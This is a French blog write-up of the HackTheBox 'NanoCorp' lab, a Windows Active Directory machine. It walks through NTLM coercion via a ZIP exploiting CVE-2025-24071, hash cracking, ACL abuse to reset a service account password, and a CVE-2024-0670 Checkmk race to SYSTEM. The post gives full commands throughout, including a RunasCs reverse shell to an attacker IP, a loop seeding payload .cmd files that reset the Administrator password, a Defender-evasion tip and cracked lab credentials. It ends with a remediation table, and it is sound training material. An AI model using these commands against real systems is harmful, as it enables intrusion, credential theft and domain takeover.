DEV Community

Cover image for HTB — NanoCorp — Writeup Fr
WhyShell
WhyShell

Posted on

HTB — NanoCorp — Writeup Fr

Info Détail
Plateforme HackTheBox
Difficulté Hard
OS Windows Server 2022
Thèmes Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race
CVEs CVE-2025-24071, CVE-2024-0670

TL;DR

NanoCorp est un contrôleur de domaine Windows Server 2022 exposant un portail de recrutement (hire.nanocorp.htb) qui accepte des uploads ZIP. On exploite CVE-2025-24071 pour forcer une authentification NTLM via un fichier .library-ms embarqué dans un ZIP — Responder capture le hash NTLMv2 du compte de service web_svc.

Après crack du hash, BloodHound révèle une chaîne ACL : web_svc peut s'ajouter au groupe IT_SUPPORT (AddSelf), qui lui-même peut changer le mot de passe de monitoring_svc (ForceChangePassword). Ce dernier, membre du groupe Protected Users, nécessite une authentification Kerberos pour accéder au DC via WinRM — ce qui nous donne le flag user.

La privesc exploite CVE-2024-0670 : l'agent Checkmk v2.1.0 crée des fichiers .cmd temporaires avec un pattern prédictible lors d'une réparation MSI (msiexec /fa). En pré-plaçant nos propres fichiers .cmd en read-only, on obtient une exécution de commande en tant que SYSTEM. Le piège subtil : msiexec /fa exige une session interactive (logon type 2). On utilise RunasCs avec le flag -l 2 depuis Evil-WinRM pour obtenir un reverse shell en tant que web_svc dans une session interactive, puis on déclenche msiexec depuis cette session.


Vue d'ensemble de l'attaque

┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — Upload ZIP                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder capture NTLMv2 hash → web_svc        │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos obligatoire         │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → Shell monitoring_svc → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → reverse shell web_svc           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM exécute notre payload                 │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Phase 1 — Énumération

1.1 Scan de ports avec Rustscan

On commence par un scan complet avec Rustscan, qui identifie rapidement les ports ouverts avant de passer le relais à Nmap pour les scripts et la détection de version.

export IP=10.129.243.199
export ME=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "$IP dc01.nanocorp.htb nanocorp.htb" | sudo tee -a /etc/hosts

rustscan -a $IP --ulimit 5000 --range 1-65535 -- -sC -sV -oN nmap_full.txt -Pn
Enter fullscreen mode Exit fullscreen mode

Résultat Rustscan — ports ouverts

Ports clés identifiés :

Port Service Observation
53 DNS Simple DNS Plus — résolution interne AD
80 HTTP Apache 2.4.58 (Win64) + PHP 8.2.12 — redirige vers nanocorp.htb
88 Kerberos Confirme un Domain Controller
389 LDAP Domaine : nanocorp.htb
445 SMB Message signing required → pas de relay NTLM possible
5986 WinRM HTTPS Seul WinRM disponible (pas de 5985 en clair)
6556 Absent du scan externe — on le découvrira plus tard depuis l'intérieur

Deux détails importants dans le scan :

Le clock skew est de presque 7 heures — c'est crucial pour les commandes Kerberos. Sur cette box, on utilise faketime -f '+7h' devant chaque commande Kerberos plutôt que de modifier l'horloge système (qui casserait les certificats TLS).

Le SMB signing est required — ça élimine d'emblée les attaques de type NTLM relay (ntlmrelayx). On devra capturer et cracker les hashes, pas les relayer.

1.2 Énumération de vhosts avec ffuf

Le serveur Apache redirige vers nanocorp.htb — il y a peut-être d'autres vhosts configurés. On utilise ffuf pour les découvrir.

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.nanocorp.htb" -u http://nanocorp.htb \
  -mc 200,302,403 -fc 301 | cat
Enter fullscreen mode Exit fullscreen mode

Pourquoi | cat ? ffuf affiche une barre de progression interactive qui pollue la sortie. Le pipe vers cat force un mode non-interactif — la sortie est propre et lisible.

Pourquoi -fc 301 ? Le serveur répond 301 à tous les subdomains inexistants (redirect vers nanocorp.htb). C'est le bruit par défaut qu'on filtre — on ne garde que les réponses qui se comportent différemment (200, 302, 403).

Fuff

Découverte : hire.nanocorp.htb — on l'ajoute au /etc/hosts :

echo "$IP hire.nanocorp.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

1.3 Le portail de recrutement

On ouvre http://hire.nanocorp.htb dans le navigateur — c'est un portail de recrutement avec un formulaire d'upload de CV.

Portail hire.nanocorp.htb — formulaire upload

Le formulaire accepte des fichiers ZIP et archives. C'est notre vecteur d'entrée : on va exploiter le traitement automatique des archives par Windows Explorer.


Phase 2 — Initial Access : CVE-2025-24071 (NTLM Coercion via ZIP)

2.1 Pourquoi cette CVE fonctionne

CVE-2025-24071 exploite un comportement de Windows Explorer : quand une archive ZIP est extraite, Explorer auto-traite certains types de fichiers spéciaux, dont les fichiers .library-ms.

Un fichier .library-ms est un fichier XML qui décrit une "bibliothèque" Windows (Documents, Images, etc.). Il peut contenir une UNC path (\\attacker-ip\share) comme emplacement de la bibliothèque. Quand Explorer traite ce fichier, il tente de résoudre le chemin UNC — ce qui déclenche une authentification NTLM automatique vers notre serveur SMB.

Le point clé : tout ça se passe sans aucune interaction utilisateur. L'extraction du ZIP suffit.

2.2 Génération du ZIP malveillant

cd /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
Enter fullscreen mode Exit fullscreen mode

Résultat du POC

Le PoC génère un exploit.zip contenant un fichier .library-ms pointant vers notre IP via une UNC path.

2.3 Capture du hash NTLMv2

T1 — Responder en écoute sur tun0 :

sudo responder -I tun0 -v
Enter fullscreen mode Exit fullscreen mode

T2 — Upload du exploit.zip sur le formulaire de hire.nanocorp.htb.

On attend quelques secondes — le serveur extrait le ZIP, Windows Explorer traite le .library-ms, et tente l'authentification SMB vers nous.

Responder — capture hash NTLMv2 de web_svc

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...
Enter fullscreen mode Exit fullscreen mode

On a le hash NTLMv2 du compte de service web_svc — c'est le compte qui fait tourner Apache/PHP sur la box.

2.4 Crack du hash

On sauvegarde le hash et on le cracke avec Hashcat sur le GPU natif M5 du Mac (via l'API Metal) :

echo 'web_svc::NANOCORP:94f624ed11c6411e:8E122B...' > web_svc.hash
hashcat -m 5600 web_svc.hash ~/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Pourquoi -m 5600 ? C'est le mode NTLMv2 dans Hashcat. NTLMv2 est le protocole d'authentification (challenge/response), à ne pas confondre avec le hash NT brut (-m 1000).

Hashcat — mot de passe cracké

Résultat : web_svc / dksehdgh712!@#


Phase 3 — Escalade horizontale : ACL Chain (BloodHound CE)

3.1 Collecte BloodHound

Avec les credentials de web_svc, on lance l'ingestor BloodHound pour cartographier l'AD :

bloodhound-python -u web_svc -p 'dksehdgh712!@#' \
  -d nanocorp.htb -dc dc01.nanocorp.htb -c All --zip -ns $IP
Enter fullscreen mode Exit fullscreen mode

Pourquoi -ns $IP ? On force l'utilisation du DNS du DC directement. Sans ça, bloodhound-python tente de résoudre les noms via le DNS système de la Kali, qui ne connaît pas la zone nanocorp.htb — et l'ingestor plante avec Failed to resolve LDAP server IP.

3.2 Analyse dans BloodHound CE

On importe le ZIP dans BloodHound CE (http://localhost:8080) et on explore les droits de web_svc.

BloodHound CE — Outbound Object Control de web_svc

Nœud web_svc@nanocorp.htb → Outbound Object Control :

  • web_svcIT_SUPPORT : AddSelf

BloodHound CE — Outbound Object Control de IT_SUPPORT

Nœud IT_SUPPORT → Outbound Object Control :

  • IT_SUPPORTmonitoring_svc : ForceChangePassword

3.3 Pourquoi cette chaîne ACL est dangereuse

La chaîne complète est :

web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc
Enter fullscreen mode Exit fullscreen mode

AddSelf : web_svc a le droit de s'ajouter lui-même comme membre du groupe IT_SUPPORT. C'est un droit spécifique plus faible que GenericAll — le principal ne peut pas ajouter d'autres utilisateurs, seulement lui-même. C'est souvent configuré pour que des comptes de service puissent "rejoindre" un groupe de support technique.

ForceChangePassword : le groupe IT_SUPPORT a le droit de réinitialiser le mot de passe de monitoring_svc sans connaître l'ancien. Ce droit est souvent accordé aux équipes de support pour débloquer des comptes — mais c'est une porte d'entrée directe pour un attaquant qui rejoint le groupe.

Résultat : avec un seul compte de service (web_svc), on peut pivoter vers monitoring_svc en deux étapes sans jamais toucher à un compte privilégié.

3.4 Exploitation de la chaîne ACL

Étape 1 — web_svc s'ajoute au groupe IT_SUPPORT

On utilise la bibliothèque Python ldap3 pour modifier l'attribut member du groupe. On passe par un script Python pour éviter les problèmes de quoting du mot de passe (!@#) dans zsh :

cat > /tmp/addself.py << 'EOF'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP\\web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
EOF
python3 /tmp/addself.py
Enter fullscreen mode Exit fullscreen mode

Pourquoi un fichier Python et pas une one-liner ? Le mot de passe contient !@# — zsh interprète ! comme un event history et # comme un commentaire. L'heredoc << 'EOF' (avec quotes simples autour de EOF) empêche toute expansion.

Résultat : {'result': 0, 'description': 'success', ...}

Étape 2 — Changement du mot de passe de monitoring_svc

Maintenant que web_svc est membre de IT_SUPPORT, on utilise rpcclient pour changer le mot de passe de monitoring_svc :

cat > /tmp/changepwd.sh << 'EOF'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb \
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
EOF
bash /tmp/changepwd.sh
Enter fullscreen mode Exit fullscreen mode

Pourquoi setuserinfo2 avec le code 23 ? Le code 23 correspond à UserInternal4InformationNew dans l'API SAMR de Windows — c'est l'appel RPC qui change le mot de passe sans connaître l'ancien. C'est exactement ce que fait le bouton "Reset Password" dans Active Directory Users and Computers.

Pas d'erreur = mot de passe changé avec succès.


Phase 4 — Shell monitoring_svc via Kerberos WinRM

4.1 Pourquoi Kerberos est obligatoire

monitoring_svc est membre du groupe Protected Users dans Active Directory. Ce groupe applique des restrictions de sécurité strictes :

  • NTLM désactivé : toute tentative d'authentification NTLM est refusée
  • Pas de délégation : le compte ne peut pas être utilisé pour la délégation Kerberos
  • Durée de TGT réduite : 4 heures au lieu de 10

En pratique, si on essaie evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!' (qui utilise NTLM par défaut), la connexion sera refusée silencieusement. Il faut explicitement passer par Kerberos.

4.2 Configuration Kerberos et connexion

# Configuration Kerberos
sudo tee /etc/krb5.conf > /dev/null << 'EOF'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
EOF

# Obtention du TGT Kerberos
faketime -f '+7h' kinit monitoring_svc@NANOCORP.HTB
# Entrer le mot de passe : NanoPwned123!

# Connexion WinRM via Kerberos
faketime -f '+7h' evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB --ssl
Enter fullscreen mode Exit fullscreen mode

Pourquoi --ssl ? Le port 5985 (WinRM en clair) n'est pas ouvert — seul le 5986 (WinRM HTTPS) est disponible. Le flag --ssl dit à Evil-WinRM d'utiliser TLS.

Pourquoi -r NANOCORP.HTB ? Ce flag active l'authentification Kerberos dans Evil-WinRM en spécifiant le realm. Sans lui, Evil-WinRM tente NTLM par défaut.

Pourquoi faketime ? Le clock skew de ~7h entre notre Kali et le DC ferait échouer les requêtes Kerberos. faketime ajuste l'horloge vue par le processus sans toucher à l'horloge système.

Evil-WinRM — shell monitoring_svc

4.3 User flag

type C:\Users\monitoring_svc\Desktop\user.txt
Enter fullscreen mode Exit fullscreen mode

User flag récupéré

🚩 User flag owned !


Phase 5 — Privesc : CVE-2024-0670 (Checkmk MSI Repair Race)

5.1 Énumération depuis monitoring_svc

On commence par vérifier ce qui tourne sur la box. Le port 6556 n'était pas visible de l'extérieur — vérifions depuis l'intérieur :

netstat -an | findstr 6556
Enter fullscreen mode Exit fullscreen mode
TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING
Enter fullscreen mode Exit fullscreen mode

Netstat — port 6556 Checkmk en écoute

Le port 6556 est le port par défaut de l'agent Checkmk — un outil de monitoring système. Vérifions la version installée :

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
    Where-Object { $_.DisplayName -like "*mk*" -or $_.DisplayName -like "*Check*" } |
    Select-Object DisplayName, DisplayVersion, LocalPackage
Enter fullscreen mode Exit fullscreen mode
DisplayName        DisplayVersion  LocalPackage
-----------        --------------  ------------
Check MK Agent 2.1 2.1.0.50010     C:\Windows\Installer\1e6f2.msi
Enter fullscreen mode Exit fullscreen mode

Checkmk version vulnérable dans le registre
Version 2.1.0.50010vulnérable à CVE-2024-0670.

5.2 Comprendre CVE-2024-0670 en profondeur

Le mécanisme normal

Quand on lance une réparation MSI (msiexec /fa) pour Checkmk, l'agent effectue les étapes suivantes :

  1. Crée des fichiers .cmd temporaires dans C:\Windows\Temp avec le pattern cmk_all_<PID>_<counter>.cmd
  2. Écrit ses propres commandes de configuration dans ces fichiers
  3. Exécute ces fichiers en tant que SYSTEM (le service Windows Installer tourne en SYSTEM)
  4. Supprime les fichiers temporaires

La vulnérabilité

Le problème est double :

Pattern prédictible : le nom du fichier ne contient que le PID du processus msiexec et un compteur (0 ou 1). Le PID est dans une plage prévisible — sur Windows Server, les PID tournent typiquement entre 1000 et 15000.

Pas de vérification d'intégrité : msiexec ne vérifie pas que le contenu du .cmd est bien celui qu'il a écrit. Si le fichier existe déjà et est en read-only, msiexec ne peut pas l'écraser — et il exécute quand même le contenu existant en tant que SYSTEM.

Le piège du logon type

C'est le point le plus subtil de cette box. Windows distingue plusieurs types de sessions d'authentification :

Type Nom Exemple
2 Interactive Console physique, RunasCs -l 2
3 Network WinRM, SMB, webshells
10 RemoteInteractive RDP

Le service Windows Installer (msiserver) refuse de lancer une réparation MSI (/fa) depuis une session de type 3 (réseau). Il ne renvoie pas d'erreur — il échoue silencieusement. C'est pourquoi :

  • Lancer msiexec /fa depuis Evil-WinRM → ne fait rien (type 3)
  • Lancer msiexec /fa depuis un webshell → ne fait rien (type 3 aussi, réseau HTTP)
  • Lancer msiexec /fa via RunasCs -l 2fonctionne (crée une session type 2)

RunasCs avec le flag -l 2 est l'outil clé ici : il prend des credentials et crée une vraie session interactive locale (type 2), même depuis une session réseau. C'est ce qui permet de contourner la restriction msiexec.

5.3 Préparation de l'exploit

Étape 1 — Upload de RunasCs dans C:\programdata

On uploade RunasCs via Evil-WinRM dans C:\programdata — un répertoire que Defender surveille moins que C:\Windows\Temp. Le binaire précompilé survit ici sans être supprimé.

# Depuis Evil-WinRM (monitoring_svc)
cd C:\programdata
upload /mnt/macos/CTF/NanoCorp/RunasCs.exe RunasCs.exe
Enter fullscreen mode Exit fullscreen mode

Pourquoi C:\programdata et pas C:\Windows\Temp ? Defender surveille activement C:\Windows\Temp — les binaires connus comme RunasCs ou nc.exe y sont supprimés quasi-instantanément. C:\programdata est un répertoire système légitime, moins scruté par les signatures Defender.

RunasCs uploadé dans C:\programdata

Étape 2 — Reverse shell web_svc via RunasCs

On utilise RunasCs depuis Evil-WinRM pour obtenir un reverse shell en tant que web_svc avec une session interactive type 2. C'est cette session qui nous permettra de déclencher msiexec.

T1 — Penelope en écoute :

penelope -p 4444
Enter fullscreen mode Exit fullscreen mode

Depuis Evil-WinRM :

C:\programdata\RunasCs.exe web_svc 'dksehdgh712!@#' cmd.exe -r 10.10.16.52:4444 -l 2
Enter fullscreen mode Exit fullscreen mode

Pourquoi -l 2 ? Ce flag force RunasCs à créer un logon de type 2 (interactive). Sans lui, RunasCs utilise le type par défaut qui ne permettrait pas à msiexec de fonctionner. C'est le flag critique de toute la privesc.

Pourquoi -r 10.10.16.52:4444 ? RunasCs envoie un reverse shell vers notre listener. On ne peut pas avoir de shell interactif direct depuis Evil-WinRM car on est déjà dans une session WinRM.

Penelope — reverse shell web_svc reçu

Penelope reçoit le shell — on vérifie :

C:\Windows\system32> whoami
nanocorp\web_svc
Enter fullscreen mode Exit fullscreen mode

5.4 Exploit — Seed et déclenchement

Depuis le reverse shell web_svc (session interactive type 2), on prépare et déclenche l'exploit en deux étapes.

Étape 1 — Seeder les fichiers .cmd

On crée 10 000 fichiers .cmd avec un payload simple : écrire whoami dans un fichier de preuve et changer le mot de passe Administrator. Pas besoin de reverse shell depuis SYSTEM — on change simplement le mot de passe admin.

powershell -c "1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value 'whoami > C:\programdata\proof.txt & net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Name IsReadOnly -Value $true }"
Enter fullscreen mode Exit fullscreen mode

Pourquoi un payload aussi simple ? On n'a pas besoin d'un reverse shell SYSTEM. Le payload fait deux choses : (1) il prouve l'exécution SYSTEM via whoami > proof.txt, et (2) il change le mot de passe Administrator. Après ça, on se connecte directement en admin via Evil-WinRM. Plus c'est simple, moins il y a de risque que Defender intervienne.

Pourquoi counter _1 ? Le counter dans le pattern Checkmk commence à 0 ou 1 selon la version. On utilise _1 pour couvrir le cas le plus courant.

Pourquoi -Force et IsReadOnly ? -Force écrase les fichiers existants (d'une tentative précédente). IsReadOnly empêche msiexec de les remplacer par son propre contenu — il exécute les nôtres à la place.

Étape 2 — Déclencher msiexec /fa

Toujours depuis le reverse shell web_svc (session type 2) :

cmd /c "msiexec /fa C:\Windows\Installer\1e6f2.msi"
Enter fullscreen mode Exit fullscreen mode

Pourquoi cmd /c ? On enveloppe msiexec dans cmd /c pour s'assurer que la commande est exécutée dans un nouveau processus cmd.exe propre, et que le shell actuel attend la fin de l'exécution.

Pourquoi cette commande fonctionne ici mais pas depuis Evil-WinRM ? Parce qu'on est dans une session interactive type 2 créée par RunasCs. Evil-WinRM est une session réseau type 3 — msiexec refuse silencieusement d'y fonctionner.

Étape 3 — Vérification

type C:\programdata\proof.txt
Enter fullscreen mode Exit fullscreen mode
nt authority\system
Enter fullscreen mode Exit fullscreen mode

proof.txt — exécution SYSTEM confirmée

📸 SYSTEM confirmé ! Le mot de passe Administrator a été changé.

5.5 Connexion en tant qu'Administrator

Le payload a changé le mot de passe de l'administrateur. On se connecte directement :

evil-winrm -i dc01.nanocorp.htb -u Administrator -p 'H4cked123!' --ssl
Enter fullscreen mode Exit fullscreen mode
type C:\Users\Administrator\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Root flag récupéré

🚩 Root flag owned !


Difficultés rencontrées et solutions

Le piège du logon type 2 vs 3

C'est le point le plus frustrant de la box : msiexec /fa ne produit aucune erreur quand il refuse de tourner en logon type 3. Il se termine simplement sans rien faire. On peut passer des heures à debugger le payload (RunasCs ? nc.exe ? quoting ?) alors que le problème est le contexte d'exécution.

La solution : RunasCs avec le flag -l 2 depuis Evil-WinRM pour créer un reverse shell dans une session interactive. Depuis cette session, msiexec accepte de fonctionner.

La leçon : quand une commande Windows ne fait "rien" sans erreur, penser au logon type. C'est un pattern qui revient aussi avec schtasks, wmic, et d'autres outils qui refusent silencieusement les sessions réseau.

BloodHound CE + PostgreSQL 18

La version de BloodHound CE packagée dans Kali (9.2.2-0kali1) est incompatible avec PostgreSQL 18 (erreur syntax error at or near "STORAGE"). La syntaxe TEXT STORAGE MAIN a été supprimée en PG18.

Fix : patcher le fichier de migration SQL et donner les droits corrects au rôle :

# Supprimer la syntaxe STORAGE obsolète
sudo sed -i -E 's/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g' \
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

# Recréer la base avec le bon owner
sudo -u postgres psql <<'SQL'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
\c bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
SQL

sudo systemctl restart bloodhound
Enter fullscreen mode Exit fullscreen mode

Alternative plus propre : stack Docker officielle (curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d) qui embarque sa propre version de PostgreSQL compatible.


Blue Team — Comment corriger

Vulnérabilité Correction
CVE-2025-24071 Mettre à jour Windows (patch KB5053598). Filtrer les uploads ZIP côté application — ne jamais extraire d'archives côté serveur sans sandbox.
AddSelf sur IT_SUPPORT Auditer les ACL AD avec BloodHound. Supprimer le droit AddSelf sur les groupes de support — utiliser des workflows de demande d'accès (ITSM) à la place.
ForceChangePassword Restreindre ce droit aux comptes administratifs dédiés, jamais à des groupes de support. Activer l'audit des changements de mot de passe (Event ID 4724).
Protected Users contournable Protected Users est une bonne pratique, mais ne protège pas contre le changement de mot de passe par un tiers. Combiner avec LAPS et des mots de passe rotatifs.
CVE-2024-0670 Mettre à jour Checkmk Agent vers 2.2+ (corrigé). En attendant, restreindre les ACL sur C:\Windows\Temp pour empêcher les utilisateurs non-SYSTEM d'y écrire des .cmd.
Webshell via webroot Ne pas accorder WriteData à BUILTIN\Users sur le webroot. Exécuter Apache sous un compte de service dédié avec des droits minimaux.

Références


Writeup par WhyShell — comprendre le pourquoi derrière chaque exploit.

Top comments (0)